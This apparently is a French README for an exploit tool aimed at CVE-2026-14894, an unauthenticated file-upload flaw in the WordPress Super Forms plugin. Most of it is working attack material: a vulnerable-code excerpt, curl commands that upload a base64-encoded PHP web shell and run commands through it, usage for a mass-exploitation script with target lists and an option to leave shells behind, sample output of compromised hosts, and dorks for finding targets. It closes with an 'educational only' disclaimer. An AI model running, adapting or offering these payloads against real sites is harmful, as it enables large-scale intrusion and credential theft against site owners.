
Super Forms RCE par téléchargement de fichier non authentifié | CVSS 9.8
CVE-2026-14894 est une vulnérabilité de téléchargement arbitraire de fichier non authentifié de sévérité critique (CVSS 9.8) dans le plugin WordPress Super Forms – Drag & Drop Form Builder (par WebRehab) versions ≤ 6.3.313.
Le gestionnaire AJAX nopriv super_submit_form accepte les téléchargements de fichiers via les soumissions de formulaire sans :
La barrière du nonce est trivialement contournée — un gestionnaire AJAX nopriv séparé (super_create_nonce) génère des nonces valides pour tout visiteur non authentifié.
Les attaquants téléchargent des fichiers PHP arbitraires via des charges utiles datauristring encodées en Base64 qui sont écrites directement dans /wp-content/uploads/superforms/ avec le nom de fichier contrôlé par l'attaquant — résultant en une exécution de code directe.
| Version | Statut |
|---|---|
| ≤ 6.3.313 | Vulnérable |
| 6.3.314+ | Corrigé |
Installations actives : 600 000+
Découvert par : andrea bocchetti via Wordfence (7 juillet 2026)
Trois contrôles de sécurité manquants dans le gestionnaire de téléchargement de fichier AJAX de Super Forms :
// Vulnérable : AJAX nopriv — pas d'auth, pas de validation de type de fichier, pas de vérification MIME
add_action('wp_ajax_nopriv_super_create_nonce', 'super_create_nonce'); // nonce pour tout le monde
add_action('wp_ajax_nopriv_super_submit_form', 'super_submit_form'); // téléchargement pour tout le monde
function super_submit_form() {
$data = json_decode(stripslashes($_POST['data']), true);
$file = $data['sf_upload_field']['files'][0];
$content = base64_decode($file['datauristring']); // pas de validation MIME
$name = $file['value']; // pas d'assainissement du nom de fichier
fwrite(fopen($upload_path . $name, 'w'), $content); // PHP écrit sur le disque
}
// Tout le monde peut obtenir un nonce valide — aucune authentification requise
function super_create_nonce() {
$nonce = md5(uniqid(rand(), true));
$_SESSION['sf_nonce'] = $nonce;
echo $nonce; // retourné à l'attaquant non authentifié
}
1. POST /wp-admin/admin-ajax.php?action=super_create_nonce
→ Obtenir un nonce valide (aucune authentification nécessaire)
2. POST /wp-admin/admin-ajax.php?action=super_submit_form
sf_nonce=NONCE&form_id=1&data={"sf_upload_field":{"files":[{
"datauristring":"data:image/png;base64,PD9waHAgc3lzdGVt...",
"value":"shell.php"}]}}
→ Shell écrit dans /wp-content/uploads/superforms/
3. GET /wp-content/uploads/superforms/shell.php?c=id
→ RCE confirmée
git clone https://github.com/shinthink/CVE-2026-14894.git
cd CVE-2026-14894
pip install -r requirements.txt
# Cible unique
python cve_2026_14894.py -t target.com
# Exploitation de masse
python cve_2026_14894.py -f targets.txt
# Exploitation de masse + sauvegarde des résultats
python cve_2026_14894.py -f targets.txt -o shells.txt
# Laisser les shells sur la cible
python cve_2026_14894.py -t target.com --no-cleanup
# Mode débogage (afficher chaque requête)
python cve_2026_14894.py -t target.com --debug
-t, --target Cible unique (domaine ou IP)
-f, --file Liste de cibles, une par ligne
-o, --output Sauvegarder les résultats RCE dans un fichier
--threads Workers concurrents (par défaut : 30)
--no-cleanup Laisser les shells sur la cible
--debug Afficher chaque requête HTTP + étape en temps réel
-v, --verbose Afficher les résultats détaillés
$ python cve_2026_14894.py -t target.com --debug
Super Forms | CVE-2026-14894 | CVSS 9.8
[target.com] [+] Super Forms détecté v6.3.312
[target.com] [*] Nonce obtenu
[target.com] [*] Téléchargement du shell...
[target.com] [!] RCE confirmé
Hôte : target.com
SuperForms : OUI v6.3.312
Upload : OUI
RCE : OUI
Shell : https://target.com/wp-content/uploads/superforms/think_abc.php?t=TOKEN
Sortie : uid=33(www-data) gid=33(www-data)
Temps : 2.1s
Cibles : 2500 | Threads : 30
[RCE] target-vuln-01.com 2.1s v6.3.312
[UP] target-patched-02.com 1.8s v6.3.314 (téléchargement bloqué)
[!] target-no-plugin-03.com 0.5s non installé
[150/2500] 6% | SuperForms:47 Upload:18 RCE:12
───────────────────────────────────────────────────────
Terminé | 180s | Cibles:2500 Dét:47 Upload:18 RCE:12
Étape 1 — Obtenir le nonce
curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=super_create_nonce'
# Retourne un nonce hexadécimal de 96 caractères
Étape 2 — Télécharger le shell PHP
NONCE="abc123..."
SHELL_B64=$(echo '<?php system($_GET["c"]); ?>' | base64 -w0)
curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=super_submit_form' \
-d "sf_nonce=$NONCE" \
-d 'form_id=1' \
-d 'data={"sf_upload_field":{"type":"files","files":[{"datauristring":"data:image/png;base64,'$SHELL_B64'","value":"shell.php","name":"shell.php","label":"attachment"}]}}'
Étape 3 — Exécuter des commandes
curl -sk 'https://target.com/wp-content/uploads/superforms/shell.php?c=id'
body="wp-content/plugins/super-forms"
http.html:"super-forms"
Une exploitation réussie permet l'exécution de code à distance en tant qu'utilisateur du serveur web. De là :
wp-config.php → identifiants de base de donnéesUNIQUEMENT À DES FINS ÉDUCATIVES ET DE TESTS AUTORISÉS.
Ce logiciel est destiné aux professionnels de la sécurité effectuant des tests d'intrusion autorisés, aux organisations auditant leur propre infrastructure et aux chercheurs étudiant l'exploitation de vulnérabilités.
L'accès non autorisé aux systèmes informatiques est illégal et peut violer :
- États-Unis : Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonésie : UU ITE Pasal 30 & 46
- Union Européenne : Directive 2013/40/EU
- Royaume-Uni : Computer Misuse Act 1990
Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.
| Resource | Link |
|---|---|
| Wordfence Advisory |
Ce projet n'est pas affilié à WebRehab ou Super Forms.
| wordfence.com |
| IONIX Advisory | ionix.io |
| NVD Entry | CVE-2026-14894 |
| Researcher | andrea bocchetti |